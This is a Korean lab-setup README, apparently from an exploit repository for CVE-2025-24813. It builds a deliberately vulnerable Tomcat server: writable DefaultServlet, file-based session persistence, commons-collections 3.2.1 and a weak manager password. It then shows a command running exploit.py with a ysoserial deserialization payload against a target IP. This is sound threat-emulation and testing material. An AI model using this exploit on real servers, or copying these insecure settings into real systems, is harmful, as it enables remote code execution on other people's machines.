
게으른 연구자를 위한 Windows Server 2019 Standard에서 java 25.0.1 2025-10-21 LTS와 함께 Tomcat v9.0.90을 신속하게 배포하기 위한 지침.
이 저장소는 사이버 보안 위협 모의 훈련(threat emulation exercise)을 위해 Windows Server 2019 Standard에 java 25.0.1 2025-10-21 LTS와 함께 Tomcat v9.0.90을 신속하게 배포하기 위한 명확한 지침을 제공하는 것을 목표로 합니다. exploit.py는 ysoserial-all.jar의 CommonsCollections6 모듈을 사용하여 페이로드를 생성하며, 이 페이로드는 %CATALINA_HOME%\webapps\ROOT\WEB-INF\lib에 있는 commons-collections-3.2.1.jar 의존성에 의해 역직렬화됩니다.
Tomcat v9.0.90 다운로드:Invoke-WebRequest -Uri "https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90-windows-x64.zip" -OutFile "apache-tomcat-9.0.90-windows-x64.zip"
Expand-Archive -Path "apache-tomcat-9.0.90-windows-x64.zip" -DestinationPath "C:\"
java 25.0.1 2025-10-21 LTS 다운로드(ZIP 버전):Invoke-WebRequest -Uri "https://download.oracle.com/java/25/archive/jdk-25_windows-x64_bin.zip" -OutFile "jdk-25_windows-x64_bin.zip"
Expand-Archive -Path "jdk-25_windows-x64_bin.zip" -DestinationPath "C:\"
mkdir C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
cd C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
Invoke-WebRequest -Uri "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar" -OutFile "commons-collections-3.2.1.jar"
1. Click on Start
2. Type "edit the system environment variables"
3. Create two new System Variables named
- `%JAVA_HOME%` with value `C:\jdk-25.0.1`
- `%CATALINA_HOME%` with value `C:\apache-tomcat-9.0.90`
4. Edit the System Variable named `Path`, and add the following values:
- `%JAVA_HOME%\bin`
- `%CATALINA_HOME%\bin`
C:\apache-tomcat-9.0.90\bin\service.bat install Tomcat9Server
Set-Service -Name "Tomcat9Server" -StartupType Automatic
Start-Service -Name "Tomcat9Server"
tomcat-9.0.90\conf 폴더에서 tomcat-users.xml을 열고 </tomcat-users> 앞에 다음 내용을 추가하세요:<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
tomcat-9.0.90\conf 폴더에서 context.xml을 열고 모든 내용을 다음으로 교체하세요:<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>
<Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
</Context>
tomcat-9.0.90\conf 폴더에서 web.xml을 열고 DefaultServlet을 찾은 다음 <servlet></servlet> 전체를 다음으로 교체하세요:<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
shutdown.bat
startup.bat
New-NetFirewallRule -DisplayName "Tomcat9Server" -Direction Inbound -Protocol TCP -LocalPort 8080 -Action Allow
C:\tomcat-9.0.90\webapps\ROOT에 그럴듯한 index.html을 넣어 더 멋지게 보이게 하세요.<Connector port="443"
protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="150"
SSLEnabled="true"
scheme="https"
secure="true">
<SSLHostConfig>
<Certificate certificateKeystoreFile="C:\tomcat-9.0.90\conf\ssl\cert.pfx"
certificateKeystorePassword=""
certificateKeystoreType="PKCS12" />
</SSLHostConfig>
</Connector>
New-NetFirewallRule -DisplayName "Tomcat9HTTPSServer" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow
exploit.py 클론하기git clone <this-repo-url>
cd CVE-2025-24813
pip install requests
java --version
curl -L -o ysoserial-all.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
python exploit.py -t http://<target IP>:8080/ -c "cmd.exe /c calc.exe"
exploit.py를 실행할 때마다 무작위 이름의 세션 파일 두 개가 C:\tomcat-9.0.90\webapps\ROOT와 C:\tomcat-9.0.90\work\Catalina\localhost\ROOT에 생성됩니다. work 폴더 안의 .session 파일은 실행 몇 초 후 삭제되어야 합니다.